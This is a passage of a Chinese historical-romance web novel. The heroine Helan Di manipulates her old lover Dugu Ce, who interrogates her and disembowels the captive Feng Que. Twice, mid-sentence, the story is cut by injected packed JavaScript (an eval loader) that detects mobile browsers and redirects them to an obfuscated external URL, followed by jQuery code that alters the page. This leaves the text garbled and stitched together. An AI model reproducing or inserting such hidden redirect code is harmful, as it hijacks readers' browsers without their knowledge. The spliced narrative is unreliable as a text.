独孤策不知该如何形容自己此时的心情,或许是内疚,或许是后悔,又或许是纯粹的心疼。他不敢开口,怕自己苍白的安慰,成了助长她委屈的帮凶。只能将她抱得更紧,就像抱着一个失而复得的宝贝。 “独孤策,为什么还要让我再见到你……”她勉力止着哭泣,沙哑着声音哀哀地问,“为什么我们还要再见……” 为什么还要再见……独孤策也这样问自己。或许这就是上苍开得玩笑,惩罚他当初的不告而别吧。 他不想解释,当初他是想过回去接她的,但是等他终于有机会回去时,贺兰部已经被灭,而她也杳无音讯了。 年少时的悸动总是敌不过现实的磋磨,午夜梦回时或许有遗憾,但并不能让他驻足悲伤,毕竟那时,他都不知道自己能活多久,会不会死在某一场战争里,又或者死在仇敌精心设计的圈套里。 朔风凌冽地刮过来,他将她放了下来,一手替她紧了紧身上的白狐裘,一手揽住了她的腰肢,迫着她靠近。 “贺兰荻……”深邃的眼眸垂下,一瞬不瞬地盯在贺兰的脸上,他有话想说,但到了口边却又不知该说什么。 不过贺兰没有给他说话的机会,她忽然伸手,狠狠地推了独孤策一把,只可惜她气力太小,没有推动对方半分,反而自己踉跄地向后退了几步,撞在了粉墙之上。 沉沉地倒吸了口气,眼里又蕴起了泪水。她没有再说什么,只是哀伤又倔强地望了独孤策一眼,踽踽向远处走去。 “阿荻!”独孤策不由自主地叫了她一声。 她闻言回首,泪水还挂在脸上,将落未落:“今日多谢大王,妾告辞了。” 方才的委屈和依恋都消弭在了她此刻的疏离和客套之中,可她越躲避否认,独孤策就越笃定她对自己情意深重,从未消弭。 他追上去,不顾她的挣扎,再次将她抱在了怀中,强势又霸道:“阿荻,你本就是我的女人,还要躲到哪里去?” 躲到哪里去呢?她才不躲,凡有所赐,皆为命定,她不在意那些无聊的爱恨,她想要的只有切实的安稳,能握在手里的生机。 既然眼泪是武器,这一次她便要将其利用的彻底,这出戏少了独孤策,还怎么能唱的下去。 她不再挣扎,彻底软倒在独孤策的怀中。 …… 贺兰睡到夜半,见西园仍有火光闪烁,人声也一直未停,干脆披衣而起,自顾自地斟了一杯凉茶。 “娘子,放凉的茶可不能乱喝,小心腹胀。”素商听到声音已走了进来。她身上虽然披着衣服,却还是冷得打了个摆子。 “快躺回去,受了凉可不是闹着玩的。”素商有时很像上了年纪的妇人,细心是真细心,啰嗦也是真啰嗦。 贺兰放下杯盏,揉了揉额心,问道:“那边有什么动静?” “乞伏那归的手下全都招了,说是得了他的命令,用弓弦勒死了公主。”贺兰派了人盯在那里,消息传回的很快,这也是素商一直未睡的原因。 “娘子,分明是封阙下的手,怎么乞伏那归这边却招了?”素商不解。 “因为怕死啊,所以干脆都招了,免得受皮肉之苦。”贺兰笑着回答,她生着一双漂亮的眼睛,又圆又亮,笑起来却弯弯的,带着少女般的纯真。可是素商知道,她的笑很少发自肺腑,很多时候不过是一种习惯罢了。 “可是……”素商绞尽脑汁也没明白贺兰这样设计的目的,“他们一想也知道,乞伏那归不过是惊弓之鸟,他没有理由破坏此次联姻。” “傻姑娘, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546676|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这就是我们的目的啊,独孤策多疑,一定会顺着查下去。”贺兰敲了敲素商的脑袋,“我苦苦将封阙留在这里,不就是等他们查的么?” 她用指点了点几案,左右长夜漫漫,和人说说话才不无聊。 “他今夜怒气上头,会暂时迷失,但只要冷静下来,定会怀疑到我。”贺兰娓娓道出,“还有独孤宗绪,他看似温润,其实心思很深,既然我是乞伏那归所赠,他怎么可能不探查清楚底细。我越是讨好他,他就会越会心生怀疑,想必这几日已经查出乞伏那归和慕容泓的关系了吧。” 素商恍然:“所以,娘子故意将怀疑都引到自己身上……” 说完,她又觉得不可置信,一双眼睛死死盯着贺兰:“娘子这样做,不是让自己陷入危险么?” “筹谋这么久,容不得半分闪失,鱼死网破也不是不可以……”贺兰挪了挪身体,眼睛有意无意地看向屋外。 月过中天,但动静还是没消停下来,今夜该是多少人的不眠夜啊! “娘子别胡思乱想,总还是有办法的,哪里需要你犯险,为了那个畜生,不值得……”素商急的都要哭了。 但贺兰却很平静,她打了个哈欠:“美人计用到这个地步,也算没白费我的花容月貌。” 素商急急道:“娘子这样好看,谁会不喜欢,依奴看代王也不是全然无情……” 贺兰的神色僵了僵,却只摇头:“说什么余情未了,不过是心有不甘。他如今多威风啊,整个草原的人都畏惧他,仰慕他。这时他重逢故人,看到我过得这样可怜,心里总是有些触动……” “而且……他比我们还想让此事闹大。他的所求与这些人都不同,慕容家的那些事他不关心,他要的是另一个借口。” “什么借口?” “查出什么,什么就是借口。”贺兰讳莫如深的笑了笑。 素商心中忐忑,但见贺兰沉着从容,多少也放了心。她胡乱擦了擦脸上的泪,恭维道,“娘子聪慧,想必已经思虑周全了。奴什么都不怕,只是担心娘子涉险。” 贺兰忍不住笑了,对她道:“我也不知道,只是猜测罢了。不过都到了这会儿了,想逃也来不及了,勉力一试,说不定就有生机。” 月华流转,悄然拂过窗棂,低低照了半个屋子。 贺兰望着凄然的月色,陷入了沉默。许久,她轻轻地打了个哈欠,像是终于知道了疲倦。 “睡吧,一觉起来或许就什么都知道了,咱们走一步看一步,能不能成事,全在天意。”她拍了拍素商的手,吩咐道,“替我准备一套丁香色的衣裙,发饰要那种白色的羽毛,就是我在贺兰部时经常戴的那种……” 素商虽不大明白她的意思,但仍一口答允了下来,依言去准备。 紫衣白羽,恰如初见。他或许记得,或许忘得干净,她不奢求他记得,只要一点点模糊的印象便够了。 能被利用,是她对他最后的一点期待。 12. 十二、身入局 查清事情真相,有时候比想象中要快很多,只要愿意,总有千万条线索钻出来,即使布局的人漏洞百出,也一定会被有心人利用着,补足所有的细节,让整个事情看着天衣无缝。 譬如这件事,不知为什么就指向了两股势力,一个自然是渤海王慕容泓,另一个确是宇文部。 “一个是陈留王想要的结果,一个是独孤策想要的结果,真有趣。”大雪终于停了,气候仿佛一瞬间就和暖起来,这边地的冬日终于也要结束了。 贺兰将窗外最后绽放的一株梅剪下,插在了屋中的青玉瓶里。 “娘子,主公让你去一趟书房。”有人前来通传道。 贺兰忖了一下,将看了一半的那卷《左氏传》合上,拿在了手中。 回廊曲折,绕了许久,才发现并不是去书房的路。 “这是要带我去哪儿?”贺兰停下,皱眉问前来通传的侍女。 侍女脚步不停,连头都没回:“主公命奴带娘子去书房。” “可这并不是去书房的路。”贺兰对今日之事早有预料,但毕竟害怕横生枝节,于是略有踟蹰。 “奴只管带人,其他的一概不知。”那侍女侧过头,如实回答。 “让你唤我的,不是乐陵公吧……让我猜猜,可是代王殿下?”她故意走得徐缓,一面四处张望。 回廊曲折,方向却是东边,远处那个梅树深掩的院落,不正是独孤宗绪安排给独孤策的暂居之所么。 左右仍在计划中,贺兰眼眸一转,已想到了应对的方法。 踏进屋中,她看到了独孤策坐在胡床上,姿态悠闲,神色却阴郁。 他的脚边却跪着一个人,佝偻着背,已经打得看不出原本的样子了。 “你来了。”独孤策比了比身边的坐塌,又示意仆从们退下。 门扉阖上,室内陡然昏暗,几束光漏过雕花的窗棂,闲闲照了进来,恰好落在独孤策的脸上。他的眼睫很长,金闪闪的垂下时,便将所有的情绪都挡了起来,莫测的厉害。 贺兰恍惚想起初见之时。 草原上的篝火燃得旺,跃动着欢快的节奏,在喝得东倒西歪的人群里,他静静地坐着,一双极漂亮的眼眸被火焰所染,灼灼迫人。 这样好看的少年,只是气质有些阴郁,像是沉着很多心事。 恰在此时,他也看了过来,四眸相对,贺兰低了头,赧然而笑。 “阿荻,坐过来。”这一声将贺兰拉回了现实。其实过去了这么久,他的样貌和声音都没有太大变化,是她没有在意罢了。 一抬头,有泪盈睫,贺兰望着独孤策,手紧紧攥着书卷,脚步迟疑。 明明生得明艳无比,偏喜欢做出这种楚楚可怜的样子,偏就能让他生出恻隐和怜爱的心。 他的手滑过她发上的白羽,怔了怔,眼眸里有一瞬晦暗和恍惚。 贺兰以为他会说什么,但他却没有,只是抓住了她的手,轻轻一扯,迫着她坐了下来,还倒在了他的怀中。 贺兰缩了一下,仰头,哀哀地看着他。 “伤好些了吗?”独孤策伸手,捏了捏她尖尖的下颌,语气很温和,但是眼光却凌厉。 贺兰没有回答,只是看向那个绑缚着双手,呻吟在旁的人。 “认识他吗?”独孤策的声音响在耳边,另一只手落在贺兰的肩上,有种古怪的亲密。 独孤策却有几分本事,也不枉她递了一个又一个的破绽。若他真是个昏聩无能的人,那这局棋也没什么意思了。 既然他明察秋毫至此,贺兰当然愿意和他继续周旋下去。 贺兰将手放在独孤策的手上,挪开他的钳制,婉转地看着他的眼睛,轻轻点了点头。 好胜心在这一瞬燃起,她平静从容的自己都想不到。 “看仔细了,确实认识?”他追问。 “自然认识,这个人一直在威胁我,我早就想找个机会杀了他。难道大王今日是想替我报仇?”听着是撒娇询问,却分明是挑衅和试探。 她与当年果然不同了,一身的尖刺伪装在温柔可人的表象之下,时不时就有伤人的危险。 “你不说他做了什么,让孤如何替你做主?”他换了一个自称,施施然等待她的狡辩。他比从前高大了太多,微微俯身时,压迫感便如山峦蔽日,让人不自禁地心生畏惧。 “我就知道……”贺兰长长叹了口气,撑着身体站了起来,踱了几步到窗边,留给独孤策一个萧索孤清的背影。 “大王便如雄鹰一般,翱翔于天际,哪里会在意一个小女子的悲喜。是我僭越了,不该心存奢望……”她微垂了头,叹息了一声。 再回头时,眼睛虽然红红的,但却再没有一丝破碎的光芒。 “此人名叫封阙,渤海王慕容泓的人。”她吸了口气,缓声道,“大王还想知道什么?” “你与慕容泓……又是何关系?”独孤策并没有心软,问出的话犀利直白。他直直看着贺兰的眼睛,迫着她与自己对望,不容闪躲。 贺兰没有闪躲,秋水空濛,竭力掩藏起悲伤,但是唇却被她咬得一片苍白。 “那年……”她开口前,手微微发抖,一时不知该放在哪里,最后只好捏住了自己的裙角,“你走后没多久,慕容泓作为使者来了贺兰部,他一眼看中了我,所以阿父就将我送给了他。” 大概是羞愧,贺兰的脸上带着诡异的红,这样的颜色染到了眼眸上,就让她看着越发娇柔可怜。 独孤策脸色很阴沉,却没有说话,而是等着贺兰继续说下去。 “事后,他未将我带回洛阳,而是留在草原上,命我为他所用。”贺兰的手已经攥得发白,但还是说了下去,“我有把柄在他那里,只能帮他……” “这次帮他做了什么?” “他想让我找机会,破坏此次联姻。” “再无其他?”独孤策追问。 贺兰摇了摇头。 “公主之死,是你做的?”独孤策的问题密集地抛来,带着咄咄逼人的气势。但贺兰却自始至终都很平静,声音又缓又柔。 “我不过是个弱女子,没有胆子杀人。若不是为渤海王所迫,我根本不会出现在你面前……” 贺兰的泪又一次落下,这次有了簌簌难歇的趋势,她哭得双肩颤抖,但声音却压抑着,像个受了委屈的小兽。 独孤策踢了一脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546677|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半死不活的封阙:“她说得……当真?” 封阙缩了缩,忙不迭地点头。 独孤策默了很久,日光在他茶色的眸中流转,看不到情绪。他忽然想到了什么,起身走到贺兰面前,扶住了她发抖的肩。 “他到底用什么威胁了你?” 贺兰的哭声陡然滞了一下,闪躲着他的迫视,声音低如蚊蚋:“何必要问……” “这并不难知道……”他回身,又重重地踹了封阙一脚,在听到他的叫声后,冷笑道,“此人是个孬种,还没有怎么用刑就全招了,你就算想隐瞒,他恐怕也不给你这个机会。” “那你又何必逼问我,问他便好。”她打定主意不说,望着封阙的表情带着轻蔑。 未等独孤策发怒,她已经将双手举到了他面前,泪痕尚存,人却倔强:“要杀要剐,悉听尊便,反正我命从来不由己,被你取走……也算是了个因果。” 独孤策看着贺兰这张惑人的脸,额心跳了跳,眉头不自觉皱了起来。 过往种种,走马灯般的涌现在脑海中,他忘了很多事,但还有一些却没忘。他记得那时她很胆小,人也拘谨的厉害,只会用她那双漂亮的眼睛,无声地表达着她纤细又隐晦的情绪。 喜悦、担忧、依恋……他忽视了太多,却总会在午夜梦回时想起。 那般纯真清澈,如苇草般易折。 这样的女子到底经历什么,才变成了如今的模样,这些改变又有多少是因为他? 她的手停在空中,见他不应,便这样僵着,认命般得沉默,却也倔强地让人下不来台。 独孤策敛起了眼底的伤感,看向封阙时,却骤然狠厉。 寒光从眼前一闪而过,贺兰感觉有东西溅到了裙角上,她趔趄着向后退了几步,忽然听到一声变了调子的尖叫。 独孤策的佩刀此时正深深扎进了封阙的腹中,那些溅到裙角的东西,是血! 血腥气仿佛顺着她的裙裳往上攀爬,很快就爬到了她的鼻中,爬到了她的眼底。她看到封阙的一截肠子随着独孤策收刀的动作被带了出来,满地的肮脏混乱,像是屠户家来不及清理的屠宰现场。 胸口闷闷的,胃里控制不住的翻江倒海,可是那人的眼神那样锐利,那样寒凉,根本不给她表演脆弱的机会。 她惨白着一张脸,将视线移到独孤策脸上,静静地看着他,手心都要被自己掐烂了。 “大王,这是什么意思?”她颤抖着唇,问。 “说出实情,我不伤害你。”独孤策拿起佩刀,见上面有血污,嫌恶地在封阙衣衫上蹭了几下。 刀未归鞘,说明杀意仍在。 封阙在地上蠕动着,呻吟着,像一只可悲的虫蚁。看着前些日子还在自己面前趾高气昂的人,如今落了这般下场,贺兰并没有半点快意,只觉兔死狐悲。 “若是我不说呢?大王准备如何?”她仰头,哀哀地问。 “你知道的,我不杀女人,何况你我有旧,”他伸手,抚上了她姣好的面庞,在上面轻轻摩挲了几下,“可是阿荻,你做下这样的事,不管是慕容泓还是乐陵公都不会让你活命。” “你唯一能依靠的,是我。”